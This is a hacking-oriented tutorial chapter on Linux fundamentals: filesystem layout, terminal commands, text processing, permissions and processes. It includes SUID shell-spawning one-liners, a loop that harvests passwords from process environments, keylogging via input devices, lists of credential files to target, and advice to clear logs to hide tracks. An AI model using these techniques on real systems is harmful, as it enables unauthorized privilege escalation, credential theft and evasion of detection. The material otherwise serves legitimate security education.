If you want to be a hacker, you MUST know Linux. This isn't an opinion - it's a fact. Every penetration testing tool, every exploit framework, every security tool worth using runs on Linux. Windows hackers are like chefs who don't know how to use knives - technically possible, but you're severely handicapped.
Here's a reality check: when you break into a server, there's a 96.3% chance it's running Linux. When you're pivoting through a network, most devices speak Linux. When you're analyzing malware, reverse engineering binaries, or crafting exploits - you're doing it on Linux. This isn't about which OS is "better" - it's about using the right tool for the job.
This chapter will take you from zero to Linux proficiency. We'll go deep - not just "how to run commands" but WHY things work the way they do. By the end, you'll understand the system deeply enough to exploit it.
Why This Chapter is Critical
The numbers don't lie:
- 96.3% of the top 1 million web servers run Linux
- 100% of Android phones run a Linux kernel
- 90%+ of cloud infrastructure is Linux
- Most IoT devices, routers, and embedded systems run Linux
- All major supercomputers run Linux
If you can't navigate Linux, you can't hack the modern world. Period.
What You'll Learn in This Chapter
🐧 Linux Philosophy
Why Linux works the way it does. Understanding the "why" makes the "how" trivial.
📁 Filesystem Mastery
Where everything lives, what every directory means, and where to find the good stuff.
⌨️ Terminal Commands
Navigation, file manipulation, text processing - the commands you'll use daily.
🔒 Permissions Deep Dive
The security model that protects (and is exploited on) every Linux system.
⚙️ Process Management
How programs run, how to control them, how to hide your presence.
📜 Bash Scripting
Automate everything. Reconnaissance, exploitation, post-exploitation - scripted.
Why Linux is the Hacker's Operating System
Before we dive into commands and techniques, you need to understand WHY Linux dominates the security world. This isn't about preference - it's about capability. Once you understand these reasons, you'll never look at Windows the same way again.
The Technical Reasons Linux Dominates Security
1. Open Source = Total Transparency
Every single line of Linux code is publicly available. You can read:
- How the kernel schedules processes
- How permissions are checked
- How network packets are handled
- How system calls work
Windows is a black box - you're guessing how things work. With Linux, you KNOW because you can read the source code.
2. Complete Control
Linux lets you control absolutely EVERYTHING:
- Every running process
- Every network packet
- Every system call
- Every piece of hardware
No "Administrator privileges required" pop-ups. No artificial restrictions. As root, you ARE the system.
3. All Security Tools Live Here
Every major hacking tool is built for Linux first:
- Nmap, Metasploit, Burp Suite
- Wireshark, John the Ripper
- Hydra, SQLmap, Aircrack-ng
- Hashcat, Gobuster, ffuf
Many tools don't even work properly on Windows. The security community lives on Linux.
4. Server Dominance
When you attack infrastructure, you're attacking Linux:
- 96.3% of top web servers
- Most cloud instances (AWS, GCP, Azure)
- Enterprise databases
- Container platforms (Docker, k8s)
Know your target. Your targets run Linux.
The Linux Distributions (Distros)
Linux isn't one operating system - it's a kernel that many distributions build upon. Each distro packages the kernel with different software and configurations.
🐲 Kali Linux
Purpose: Penetration testing
Pre-loaded with 600+ hacking tools. The most popular distro for security professionals. Based on Debian.
Use when: You're doing security work and want everything ready out of the box.
🦜 Parrot OS
Purpose: Security + privacy + development
Similar to Kali but lighter weight with additional privacy tools. Good for daily driving.
Use when: You want a hacking distro that's also usable as a daily driver.
🟠 Ubuntu
Purpose: General purpose, beginner-friendly
Most popular desktop distro. Great for learning Linux before jumping to Kali.
Use when: Learning Linux fundamentals or need a reliable workstation.
🏢 Enterprise Distros
Examples: RHEL, CentOS, Debian
What servers actually run. Understanding these means understanding your targets.
Learn these: To understand real-world server environments.
Dual Boot vs Virtual Machine vs WSL
Dual Boot: Install Linux alongside Windows. Best performance, most "real" experience. Reboot required to switch.
Virtual Machine: Run Linux inside Windows using VirtualBox or VMware. Good for learning, can run both simultaneously.
WSL (Windows Subsystem for Linux): Linux terminal inside Windows. Quick and easy, but limited for some security tools.
Recommendation: Start with VMs for safety and convenience. Move to dual boot or dedicated machine when serious.
The Unix Philosophy: Understanding How Linux Thinks
Linux was built on specific design principles inherited from Unix that are radically different from Windows. Understanding these principles is key to mastering the system - and to understanding where vulnerabilities come from.
Everything is a File
In Linux, EVERYTHING is represented as a file. This sounds strange, but it's incredibly powerful. Regular files, directories, hardware devices, running processes, network connections - they're all accessed through the filesystem.
# Regular files - obvious
/home/user/document.txt
/etc/passwd
# Directories - special files that contain other files
/home/user/
/etc/
# Hardware devices - YES, they're files!
/dev/sda # Your hard drive (entire disk)
/dev/sda1 # First partition
/dev/sda2 # Second partition
/dev/nvme0n1 # NVMe SSD
/dev/usb/001 # USB device
/dev/null # The "black hole" - discards all data
/dev/zero # Infinite source of null bytes
/dev/random # Random data (cryptographically secure)
/dev/urandom # Random data (faster, less secure)
# Processes - information about running programs!
/proc/ # Virtual filesystem for process info
/proc/1234/ # Everything about process 1234
/proc/1234/cmdline # Command that started the process
/proc/1234/environ # Environment variables
/proc/1234/fd/ # Open file descriptors
/proc/cpuinfo # CPU information
/proc/meminfo # Memory information
/proc/version # Kernel version
# System information
/sys/ # Kernel and hardware info
/sys/class/net/ # Network interface info
/sys/block/ # Block device info
# Network connections (in some systems)
/dev/tcp/host/port # TCP connection to host:port
Why "Everything is a File" Matters for Hacking
Because everything is a file, you can use the same tools on everything:
- cat /dev/sda → Read raw hard drive data
- cat /proc/1234/maps → See process memory layout
- echo "data" > /dev/ttyUSB0 → Send data to serial device
- cat /dev/input/event0 → Capture keyboard input (keylogger!)
- cat /proc/1234/fd/0 → Read from another process's stdin
This uniformity makes Linux incredibly powerful - and hackable.
Do One Thing Well
Unix programs are designed to do ONE thing perfectly, then combine with other programs. This is the complete opposite of Windows applications that try to do everything themselves.
# Windows approach: One giant program that does everything
# Example: A "log analyzer" that reads files, parses data,
# filters content, generates reports, sends emails...
# Linux approach: Small tools that chain together
# Each tool does ONE thing perfectly
# Find all .log files, search for "error", sort them, count unique lines
find /var/log -name "*.log" | xargs grep "error" | sort | uniq -c
# Each tool does ONE thing:
# find → locates files (that's ALL it does)
# xargs → passes results as arguments to next command
# grep → searches text for patterns
# sort → sorts lines alphabetically
# uniq -c → removes duplicates and counts them
# This pipeline is MORE powerful than any single program!
# And each tool can be replaced, modified, or extended independently
Text is the Universal Interface
In Linux, programs communicate through plain text. This makes it trivially easy to chain programs together, inspect what's happening, and manipulate data.
# Configuration files are text (not binary registry!)
cat /etc/ssh/sshd_config
# Human-readable, editable with any text editor
# Program output is text
ps aux
# Just text - easy to grep, sort, cut, awk
# Log files are text
cat /var/log/auth.log
# Easy to search, analyze, script against
# Contrast with Windows:
# - Registry is binary (need special tools)
# - Event logs are binary (need Event Viewer)
# - Many configs are hidden in obscure locations
Silent Success, Vocal Failure
Linux programs follow the convention: if everything works, say nothing. Only speak up when there's a problem.
# Copy a file
$ cp file1.txt file2.txt
$
# Nothing output = success!
# If there's an error, you'll know:
$ cp nonexistent.txt file2.txt
cp: cannot stat 'nonexistent.txt': No such file or directory
# This is intentional!
# Silent success means you can chain commands confidently
# If something fails, the error message tells you what went wrong
# Check if command succeeded with $?
$ cp file1.txt file2.txt
$ echo $?
0 # 0 = success
$ cp nonexistent.txt file2.txt
$ echo $?
1 # Non-zero = failure
Users and Permissions: Everything is Owned
Every file, every process, every resource has an owner and group. The permission system is the foundation of Linux security.
# Every file has:
# - An owner (a user)
# - A group
# - Permissions for owner, group, and others
$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2834 Dec 14 10:00 /etc/passwd
# │ │ │
# │ │ └── Group (root)
# │ └────── Owner (root)
# └──────── Link count
# Every process runs as a user:
$ ps aux
USER PID ... COMMAND
root 1 /sbin/init
www-data 842 /usr/sbin/apache2
mysql 1234 /usr/sbin/mysqld
# Processes can only access what their user can access
# This is fundamental to privilege separation
The Security Implication
This user/permission model means:
- Breaking into a web server as "www-data" doesn't give you root
- Privilege escalation is needed to get more access
- Misconfigured permissions = security vulnerabilities
- SUID binaries run as the file owner (exploit target!)
The Linux Filesystem: Where Everything Lives
Unlike Windows with its C:\, D:\, E:\ drives, Linux has ONE unified filesystem starting from root (/). Every file on the system - regardless of what physical drive it's on - exists somewhere under this single root. This elegant design makes navigation consistent and predictable.
# Windows filesystem:
C:\
├── Program Files
├── Users
└── Windows
D:\
├── Games
└── Documents
# Linux filesystem (ONE tree):
/ ← Root (everything starts here)
├── home/ ← User home directories
│ ├── alice/
│ └── bob/
├── etc/ ← System configuration
├── var/ ← Variable data (logs, databases)
├── usr/ ← User programs and data
├── tmp/ ← Temporary files
├── dev/ ← Device files
├── proc/ ← Process information
├── media/ ← Mounted removable media
│ └── usb/ ← Your USB drive appears HERE
└── mnt/ ← Temporary mount points
Critical Directories You MUST Know
Each directory has a specific purpose defined by the Filesystem Hierarchy Standard (FHS). Knowing what lives where is essential for both navigation and hacking.
| Directory |
Purpose |
Hacker Interest |
| / |
Root - the top of the filesystem tree |
Ultimate goal of privilege escalation. Getting here means owning the system. |
| /etc |
System configuration files |
GOLDMINE. Passwords, network config, service configs, cron jobs. |
| /home |
User home directories |
SSH keys, bash history, personal files, saved credentials. |
| /root |
Root user's home directory |
Most sensitive data often here. Root's SSH keys, history, notes. |
| /var |
Variable data (logs, databases, mail) |
Logs reveal attacks and activities. Web roots often here. |
| /var/log |
System and application logs |
Track your activities or find evidence of others. Clear your tracks! |
| /var/www |
Web server document root (often) |
Web application code. Look for config files with database creds! |
| /tmp |
Temporary files (cleared on reboot) |
World-writable! Drop exploits, compile code, pivot from here. |
| /dev/shm |
Shared memory (RAM-based) |
World-writable, in RAM (fast!), good for staging attacks. |
| /bin, /sbin |
Essential system binaries |
System commands. Rarely writable. Backdoor targets. |
| /usr/bin, /usr/sbin |
User and system programs |
Most installed programs live here. |
| /proc |
Process and kernel information (virtual) |
CRUCIAL. Running processes, memory maps, kernel parameters. |
| /sys |
System and hardware info (virtual) |
Hardware details, driver information. |
| /dev |
Device files |
Direct hardware access. /dev/null, /dev/random useful for attacks. |
| /opt |
Optional/third-party software |
Custom applications often installed here. |
| /boot |
Boot loader and kernel |
Kernel files. Rarely need to touch unless rootkit territory. |
Critical Files Hackers Target
These files contain the most valuable information for attackers:
# ==================== AUTHENTICATION & USERS ====================
/etc/passwd # User accounts (readable by everyone!)
# Format: username:x:UID:GID:comment:home:shell
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
/etc/shadow # Password hashes (root only - PRIMARY TARGET!)
# Format: username:hash:last_change:min:max:warn:inactive:expire
# If you can read this, you can crack passwords!
/etc/group # Group memberships
# Shows who belongs to sudo, docker, etc.
/etc/sudoers # Who can use sudo and how
# Misconfigurations here = privilege escalation
/etc/sudoers.d/ # Additional sudo rules
# Check EVERY file in here!
# ==================== NETWORK CONFIGURATION ====================
/etc/hosts # Local DNS overrides (useful for DNS spoofing)
/etc/resolv.conf # DNS servers the system uses
/etc/hostname # System hostname
/etc/network/interfaces # Network interface config (Debian)
/etc/netplan/*.yaml # Network config (Ubuntu 18+)
/etc/sysconfig/network-scripts/ # Network config (RHEL/CentOS)
# ==================== SERVICES & APPLICATIONS ====================
/etc/ssh/sshd_config # SSH server configuration
# Check: PermitRootLogin, PasswordAuthentication
/etc/ssh/ssh_config # SSH client configuration
/etc/apache2/ # Apache web server config
/etc/nginx/ # Nginx web server config
/etc/mysql/my.cnf # MySQL configuration
/etc/postgresql/ # PostgreSQL configuration
/etc/crontab # Scheduled tasks (check for writable scripts!)
/etc/cron.d/ # Additional cron jobs
/etc/cron.daily/ # Daily cron scripts
/var/spool/cron/crontabs/ # User crontabs
# ==================== LOGS (YOUR TRAIL) ====================
/var/log/auth.log # Authentication attempts (logins, sudo, SSH)
/var/log/secure # Same on RHEL/CentOS
/var/log/syslog # General system messages
/var/log/messages # Same on RHEL/CentOS
/var/log/apache2/ # Web server access/error logs
/var/log/nginx/ # Nginx logs
/var/log/mysql/ # Database logs
# ==================== USER-SPECIFIC TREASURES ====================
~/.ssh/ # SSH directory
~/.ssh/id_rsa # Private SSH key (JACKPOT!)
~/.ssh/authorized_keys # Who can log in as this user
~/.ssh/known_hosts # Servers this user connects to
~/.bash_history # Command history (passwords in plain text?)
~/.mysql_history # MySQL command history
~/.psql_history # PostgreSQL history
~/.bashrc, ~/.profile # Shell configuration
~/.gnupg/ # GPG keys
~/.aws/credentials # AWS access keys ($$!)
~/.config/ # Application configs
The /proc Virtual Filesystem - Live System Intel
# /proc doesn't exist on disk - it's generated by the kernel in real-time
# Contains information about EVERY running process and the system
# System information:
/proc/version # Kernel version
/proc/cpuinfo # CPU details
/proc/meminfo # Memory usage
/proc/cmdline # Boot parameters
/proc/mounts # Currently mounted filesystems
/proc/net/tcp # Active TCP connections
/proc/net/udp # Active UDP connections
# Per-process information (replace 1234 with any PID):
/proc/1234/cmdline # Command that started the process
/proc/1234/environ # Environment variables (may contain secrets!)
/proc/1234/exe # Symlink to the actual executable
/proc/1234/cwd # Current working directory
/proc/1234/fd/ # Open file descriptors
/proc/1234/maps # Memory map (useful for exploitation!)
/proc/1234/status # Process status (UID, GID, memory)
# Useful commands:
cat /proc/1234/cmdline | tr '\0' ' ' # See command with args
ls -la /proc/1234/fd/ # See all open files
cat /proc/1234/environ | tr '\0' '\n' # See environment vars
Pro Tip: Find Sensitive Info in /proc
# Search all processes for environment variables containing "pass"
for pid in /proc/[0-9]*; do
cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -i pass && echo "PID: $pid"
done
# This might reveal database passwords, API keys, etc!
Terminal Mastery: Your Command Center
The terminal is where hackers live. GUIs are for users - the command line is for those who want real power. There's nothing you can do in a GUI that you can't do faster in the terminal, and thousands of things you can do in the terminal that are impossible in a GUI.
Basic Navigation Commands
# ==================== WHERE AM I? ====================
pwd # Print Working Directory
# Output: /home/hacker
# Always know your location!
# ==================== WHAT'S HERE? ====================
ls # List files (basic)
ls -l # Long format (permissions, owner, size, date)
ls -a # Show hidden files (starting with .)
ls -la # Combine: all files, long format
ls -lah # Same but human-readable sizes (K, M, G)
ls -lt # Sort by modification time
ls -ltr # Sort by time, reversed (oldest first)
ls -R # Recursive (show subdirectories)
# Example output of ls -la:
# drwxr-xr-x 2 hacker hacker 4096 Dec 14 10:00 documents/
# -rw-r--r-- 1 hacker hacker 182 Dec 14 09:30 notes.txt
# -rwx------ 1 hacker hacker 512 Dec 14 08:00 secret_script.sh
# ==================== MOVE AROUND ====================
cd /etc # Go to absolute path
cd documents # Go to relative path (inside current dir)
cd .. # Go up one level (parent directory)
cd ../.. # Go up two levels
cd ~ # Go to your home directory (/home/username)
cd # Same as cd ~
cd - # Go back to previous directory (toggle)
# Pro tip: Use Tab for autocomplete!
# cd /etc/apa[Tab] → cd /etc/apache2/
# ==================== VIEW FILE CONTENTS ====================
cat file.txt # Print entire file at once
cat file1.txt file2.txt # Concatenate multiple files
cat -n file.txt # Show line numbers
head file.txt # First 10 lines
head -20 file.txt # First 20 lines
head -n 5 file.txt # First 5 lines
tail file.txt # Last 10 lines
tail -20 file.txt # Last 20 lines
tail -f /var/log/auth.log # Follow file in real-time (VERY useful for logs!)
less file.txt # Scrollable view
# Navigation in less:
# Space = page down, b = page up
# / = search forward, ? = search backward
# n = next match, N = previous match
# g = go to start, G = go to end
# q = quit
more file.txt # Simpler pager (less is more!)
# ==================== FILE INFORMATION ====================
file document.pdf # Determine file type
stat file.txt # Detailed file information
wc file.txt # Word, line, character count
wc -l file.txt # Line count only
File Manipulation - Creating, Copying, Moving, Deleting
# ==================== CREATE ====================
touch newfile.txt # Create empty file (or update timestamp)
touch file1.txt file2.txt # Create multiple files
mkdir newfolder # Create directory
mkdir -p a/b/c/d # Create nested directories (parents too)
mkdir -p project/{src,docs,tests} # Create multiple subdirectories
# Create file with content:
echo "Hello World" > file.txt # Write to file (overwrites!)
echo "More text" >> file.txt # Append to file
cat > file.txt << EOF # Multi-line input (heredoc)
Line 1
Line 2
Line 3
EOF
# ==================== COPY ====================
cp file.txt backup.txt # Copy file
cp file.txt /tmp/ # Copy to directory
cp -r folder/ backup/ # Copy directory recursively (-r is essential!)
cp -a folder/ backup/ # Archive mode (preserves permissions, timestamps)
cp -i file.txt backup.txt # Interactive (ask before overwriting)
cp -v file.txt backup.txt # Verbose (show what's happening)
# ==================== MOVE / RENAME ====================
mv old.txt new.txt # Rename file
mv file.txt /tmp/ # Move to different location
mv file.txt /tmp/newname.txt # Move AND rename
mv -i old.txt new.txt # Interactive (ask before overwriting)
mv folder/ /tmp/ # Move entire directory
# ==================== DELETE (CAREFUL - NO RECYCLE BIN!) ====================
rm file.txt # Delete file (GONE FOREVER)
rm -i file.txt # Interactive (ask first)
rm -r folder/ # Delete directory recursively
rm -rf folder/ # Force delete, no confirmation (DANGEROUS!)
rm -rf / # DON'T DO THIS! (Deletes everything)
rmdir emptyfolder/ # Delete only if empty (safer)
# Pro tip: Use trash-cli for recoverable deletions
# sudo apt install trash-cli
# trash file.txt # Move to trash instead of delete
Finding Files - Where Is That Thing?
# ==================== FIND - The Power Tool ====================
find /path -name "filename" # Find by name
find / -name "passwd" # Find passwd anywhere
find / -name "*.conf" # Find all .conf files
find / -iname "*.conf" # Case-insensitive
find /home -user root # Find files owned by root
find /home -group admin # Find files owned by group admin
find / -type f # Find only files
find / -type d # Find only directories
find / -type l # Find only symlinks
find / -size +100M # Files larger than 100MB
find / -size -1k # Files smaller than 1KB
find / -mtime -1 # Modified in last 24 hours
find / -mtime +30 # Modified more than 30 days ago
find / -mmin -60 # Modified in last 60 minutes
find / -perm -4000 # SUID files (PRIVILEGE ESCALATION!)
find / -perm -2000 # SGID files
find / -perm -o+w # World-writable files
find / -writable # Files you can write to
find / -readable # Files you can read
# Combine with actions:
find / -name "*.log" -delete # Find and delete
find / -name "*.sh" -exec chmod +x {} \; # Find and execute command
# Redirect errors (permission denied spam):
find / -name "passwd" 2>/dev/null
# ==================== LOCATE - Fast Search ====================
locate filename # Instant search (uses database)
locate -i filename # Case-insensitive
sudo updatedb # Update the database
# locate is fast but may miss recent files (database updated periodically)
# ==================== WHICH / WHEREIS / TYPE ====================
which python # Find command location
which -a python # Find ALL locations
whereis python # Find binary, source, man pages
type python # What type of command is it?
Text Processing - The Hacker's Swiss Army Knife
# ==================== GREP - Search Inside Files (ESSENTIAL!) ====================
grep "password" file.txt # Find lines containing "password"
grep -i "password" file.txt # Case-insensitive
grep -r "password" /etc/ # Recursive search through directory
grep -l "password" *.txt # List only filenames that match
grep -n "password" file.txt # Show line numbers
grep -c "password" file.txt # Count matches
grep -v "ignore" file.txt # Invert: lines NOT matching
grep -A 3 "error" file.txt # Show 3 lines After match
grep -B 3 "error" file.txt # Show 3 lines Before match
grep -C 3 "error" file.txt # Show 3 lines Context (before and after)
# Regular expressions with grep:
grep -E "user|pass" file.txt # Extended regex: OR
grep "^root" /etc/passwd # Lines starting with "root"
grep "bash$" /etc/passwd # Lines ending with "bash"
grep -E "192\.168\.[0-9]+\.[0-9]+" file.txt # IP addresses
# Practical hacker uses:
grep -r "password" /var/www/ # Find passwords in web code
grep -r "API_KEY" /opt/ # Find API keys
grep "Failed password" /var/log/auth.log # Failed login attempts
# ==================== SED - Stream Editor (Find & Replace) ====================
sed 's/old/new/' file.txt # Replace first occurrence per line
sed 's/old/new/g' file.txt # Replace ALL occurrences (global)
sed -i 's/old/new/g' file.txt # Edit file in place
sed -i.bak 's/old/new/g' file.txt # In place with backup
sed '/pattern/d' file.txt # Delete lines matching pattern
sed '5d' file.txt # Delete line 5
sed '5,10d' file.txt # Delete lines 5-10
sed -n '5,10p' file.txt # Print only lines 5-10
sed 's/^/PREFIX /' file.txt # Add prefix to all lines
sed 's/$/ SUFFIX/' file.txt # Add suffix to all lines
# ==================== AWK - Pattern Processing (Powerful!) ====================
awk '{print $1}' file.txt # Print first column (space-delimited)
awk '{print $1, $3}' file.txt # Print columns 1 and 3
awk -F: '{print $1}' /etc/passwd # Use : as delimiter (get usernames)
awk -F: '{print $1,$3}' /etc/passwd # Username and UID
awk '/pattern/ {print}' file.txt # Print lines matching pattern
awk '$3 > 100 {print}' file.txt # Print if column 3 > 100
awk '{sum += $1} END {print sum}' # Sum first column
# Practical: Get all usernames from passwd
awk -F: '{print $1}' /etc/passwd
# Practical: Get all users who can login (have /bin/bash)
awk -F: '$7 ~ /bash/ {print $1}' /etc/passwd
# ==================== CUT - Extract Columns ====================
cut -d: -f1 /etc/passwd # Get first field, delimiter :
cut -d: -f1,3 /etc/passwd # Get fields 1 and 3
cut -d: -f1-3 /etc/passwd # Get fields 1 through 3
cut -c1-10 file.txt # Get characters 1-10
# ==================== SORT & UNIQ - Organize Data ====================
sort file.txt # Sort alphabetically
sort -n file.txt # Sort numerically
sort -r file.txt # Reverse sort
sort -u file.txt # Sort and remove duplicates
sort -t: -k3 -n /etc/passwd # Sort by field 3 (UID)
uniq file.txt # Remove adjacent duplicates
uniq -c file.txt # Count occurrences
sort file.txt | uniq -c | sort -rn # Count & sort by frequency
# ==================== TR - Translate Characters ====================
tr 'a-z' 'A-Z' < file.txt # Convert to uppercase
tr '[:lower:]' '[:upper:]' < file.txt # Same thing
tr -d '[:digit:]' < file.txt # Delete all digits
tr '\0' '\n' < /proc/1/environ # Replace null bytes with newlines
Piping and Redirection - Combining Power
# ==================== PIPES (|) - Chain Commands ====================
# Output of command 1 becomes input of command 2
cat /etc/passwd | grep "bash" # Find bash users
ps aux | grep "apache" # Find Apache processes
ls -la | head -20 # First 20 lines of listing
history | grep "ssh" # Find SSH commands in history
netstat -tuln | grep "LISTEN" # Find listening ports
# Multiple pipes:
cat access.log | grep "404" | awk '{print $1}' | sort | uniq -c | sort -rn
# Find all 404 errors → get IP → sort → count → sort by frequency
# ==================== OUTPUT REDIRECTION (>) ====================
echo "hello" > file.txt # Write to file (OVERWRITES!)
echo "more" >> file.txt # Append to file
ls -la > listing.txt # Save output to file
cat file1 file2 > combined.txt # Combine files
# ==================== INPUT REDIRECTION (<) ====================
mysql < script.sql # Feed file to command
sort < unsorted.txt > sorted.txt # Input from file, output to file
# ==================== ERROR REDIRECTION (2>) ====================
command 2> errors.log # Errors to file, output to screen
command 2>/dev/null # Discard errors (silent fails)
command > output.txt 2>&1 # Both stdout and stderr to file
command &> output.txt # Same thing (shorthand)
# Practical: Suppress permission denied errors
find / -name "secret" 2>/dev/null
# ==================== TEE - Output to Both ====================
command | tee output.txt # Display AND save to file
command | tee -a output.txt # Display AND append to file
# ==================== HERE DOCUMENTS ====================
cat << EOF > script.sh
#!/bin/bash
echo "This is a script"
echo "Created inline"
EOF
Linux Permissions: The Security Foundation
Permissions are the CORE of Linux security. Every file, every directory, every device has permissions that control who can read, write, or execute it. Understanding permissions deeply is essential for both defending and attacking systems. Every privilege escalation exploit ultimately targets permission weaknesses.
Reading Permission Strings
$ ls -la
drwxr-x--- 2 hacker users 4096 Dec 14 09:00 private/
-rwxr-xr-x 1 root root 12345 Dec 14 10:00 script.sh
-rw-r--r-- 1 hacker hacker 182 Dec 14 09:30 notes.txt
lrwxrwxrwx 1 root root 11 Dec 14 08:00 link -> /etc/passwd
# Breaking down: -rwxr-xr-x
# Position 1: File type
# - = Regular file
# d = Directory
# l = Symbolic link
# c = Character device
# b = Block device
# s = Socket
# p = Named pipe
# Position 2-4: OWNER permissions
# rwx = Read (4), Write (2), eXecute (1)
# The file owner can read, write, and execute
# Position 5-7: GROUP permissions
# r-x = Read and execute, no write
# Members of the group can read and run, but not modify
# Position 8-10: OTHERS permissions
# r-x = Read and execute, no write
# Everyone else can read and run, but not modify
Numeric (Octal) Permissions
# Each permission has a numeric value:
# r = 4 (read)
# w = 2 (write)
# x = 1 (execute)
# Add them up for each category:
# rwx = 4+2+1 = 7 (full access)
# rw- = 4+2+0 = 6 (read/write)
# r-x = 4+0+1 = 5 (read/execute)
# r-- = 4+0+0 = 4 (read only)
# --- = 0+0+0 = 0 (no access)
# Three digits: Owner, Group, Others
# Common permission sets:
# 777 = rwxrwxrwx = Everyone can do everything (DANGEROUS!)
# 755 = rwxr-xr-x = Owner full, others read/execute (executables)
# 750 = rwxr-x--- = Owner full, group read/execute, others nothing
# 700 = rwx------ = Only owner can access (private!)
# 644 = rw-r--r-- = Owner read/write, others read only (documents)
# 640 = rw-r----- = Owner read/write, group read (sensitive docs)
# 600 = rw------- = Only owner can read/write (secrets!)
# 400 = r-------- = Only owner can read (SSH keys!)
Permissions on Directories
# Permissions mean different things for directories!
# r (read) on directory:
# - Can list contents (ls works)
# - Without this, you can't see what's inside
# w (write) on directory:
# - Can create, delete, rename files inside
# - Even files you don't own! (if you have dir write)
# x (execute) on directory:
# - Can enter the directory (cd works)
# - Can access files inside IF you know the name
# - Without x, directory is completely inaccessible
# Common directory permissions:
# 755 = Owner full, others can browse
# 750 = Owner full, group can browse, others blocked
# 700 = Only owner can access (private directory)
# 1777 = Sticky bit (see below) - for /tmp
Changing Permissions
# ==================== CHMOD - Change Mode ====================
# Numeric method (recommended):
chmod 755 script.sh # rwxr-xr-x
chmod 600 secret.txt # rw-------
chmod 777 folder/ # rwxrwxrwx (AVOID!)
# Symbolic method:
chmod +x script.sh # Add execute for all
chmod u+x script.sh # Add execute for user/owner only
chmod g+w file.txt # Add write for group
chmod o-rwx secret.txt # Remove all permissions for others
chmod go-rwx private.txt # Remove all for group AND others
chmod a+r public.txt # Add read for all (a = all)
chmod u=rwx,g=rx,o=r file # Set specific permissions
# Recursive:
chmod -R 755 folder/ # Apply to folder and all contents
# ==================== CHOWN - Change Owner ====================
chown hacker file.txt # Change owner to hacker
chown hacker:users file.txt # Change owner AND group
chown :users file.txt # Change only group
chown -R hacker folder/ # Recursive change
# ==================== CHGRP - Change Group ====================
chgrp users file.txt # Change group
chgrp -R users folder/ # Recursive
Special Permissions - Where Exploits Live!
🎯 SUID/SGID - Privilege Escalation Goldmine
SUID (Set User ID) makes a program run as the FILE OWNER, not the user running it. If root owns a SUID binary with a vulnerability, a regular user can exploit it to become root!
SGID (Set Group ID) makes a program run with the file's GROUP permissions.
# ==================== SUID (Set User ID) ====================
# When SUID is set, the program runs as the FILE OWNER
# This is how regular users can run passwd to change their password
# /usr/bin/passwd is owned by root but runs with SUID
$ ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Jan 1 2024 /usr/bin/passwd
# ^
# The 's' instead of 'x' means SUID is set
# When you run passwd, it runs AS ROOT, even though you're not root
# This lets it modify /etc/shadow (which only root can write)
# Set SUID:
chmod u+s program # Symbolic
chmod 4755 program # Numeric (4 = SUID)
# ==================== FINDING SUID BINARIES - CRITICAL FOR PRIVESC! ====================
find / -perm -4000 -type f 2>/dev/null # Find ALL SUID files
# Common SUID binaries that can be exploited:
# /usr/bin/find - Can execute commands!
# /usr/bin/vim - Can spawn shell!
# /usr/bin/python - Obvious...
# /usr/bin/nmap - Interactive mode gives shell
# /usr/bin/less - !sh spawns shell
# /usr/bin/awk - Can execute system commands
# /usr/bin/cp - Can overwrite sensitive files
# ==================== EXPLOITING SUID BINARIES ====================
# Example 1: find with SUID (owned by root)
find . -exec /bin/sh -p \; # -p preserves privileges
# Example 2: vim with SUID
vim -c '!sh' # Spawn shell from vim
# Example 3: python with SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Example 4: awk with SUID
awk 'BEGIN {system("/bin/sh")}'
# Example 5: less with SUID
less /etc/passwd
!sh # Type this inside less
# GTFOBins.github.io - Database of SUID exploitation techniques!
# ==================== SGID (Set Group ID) ====================
# Similar to SUID but for group permissions
# Shown as 's' in group execute position
$ ls -la /usr/bin/wall
-rwxr-sr-x 1 root tty 19024 Jan 1 2024 /usr/bin/wall
# ^
# SGID bit set
# Find SGID binaries:
find / -perm -2000 -type f 2>/dev/null
# ==================== STICKY BIT ====================
# When set on a directory, only file owner can delete their files
# Used on /tmp to prevent users from deleting each other's files
$ ls -la /tmp
drwxrwxrwt 15 root root 4096 Dec 14 10:00 /tmp
# ^
# The 't' means sticky bit
# Set sticky bit:
chmod +t directory
chmod 1777 directory # 1 = sticky bit
Understanding umask
# umask determines DEFAULT permissions for new files
# Current umask:
$ umask
0022
# umask is SUBTRACTED from full permissions:
# Full file permissions: 666 (rw-rw-rw-)
# Minus umask: -022
# Result: 644 (rw-r--r--)
# Full directory permissions: 777 (rwxrwxrwx)
# Minus umask: -022
# Result: 755 (rwxr-xr-x)
# Common umask values:
# 022 = Default: owner full, group/others read
# 027 = More private: others get nothing
# 077 = Private: only owner can access
# Set umask (for this session):
umask 027
# Make permanent in ~/.bashrc
Key Permission Attack Vectors
- SUID binaries: If exploitable, instant root
- World-writable files: Can modify configs, scripts
- World-writable directories: Can create files for exploitation
- Writable cron scripts: Code runs on schedule as owner
- Writable service configs: Restart service = exploit triggered
- Weak sudo configurations: Run commands as root
Process Management: Understanding Running Programs
Processes are running programs. Every command you type, every service running, every malware sample - they're all processes. Understanding how to view, control, and manipulate them is essential for system administration, maintaining persistence, hiding your presence, and post-exploitation activities.
Viewing Processes
# ==================== PS - Process Status ====================
ps # Your processes only (current terminal)
ps aux # ALL processes on the system, detailed
ps -ef # Another format (shows parent PIDs)
ps aux | grep apache # Find specific process
# Understanding ps aux output:
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
# root 1 0.0 0.1 225152 9532 ? Ss Dec13 0:06 /sbin/init
# www-data 842 0.5 2.3 1234567 23456 ? S Dec13 1:24 /usr/sbin/apache2
# Column meanings:
# USER = Owner of the process
# PID = Process ID (unique identifier)
# %CPU = CPU usage percentage
# %MEM = Memory usage percentage
# VSZ = Virtual memory size
# RSS = Resident Set Size (actual RAM used)
# TTY = Terminal (? means no terminal / daemon)
# STAT = Process state (see below)
# START = When process started
# TIME = Cumulative CPU time
# COMMAND = Command that started the process
# Process states (STAT column):
# R = Running or runnable
# S = Sleeping (waiting for event)
# D = Uninterruptible sleep (usually I/O)
# Z = Zombie (finished but not cleaned up)
# T = Stopped (suspended)
# s = Session leader
# + = Foreground process
# ==================== TOP - Live Process Viewer ====================
top # Interactive process viewer
# Press q to quit
# Press h for help
# Press k to kill a process
# Press M to sort by memory
# Press P to sort by CPU
# Press u then username to filter by user
htop # Better version (install: apt install htop)
# More colorful, easier navigation
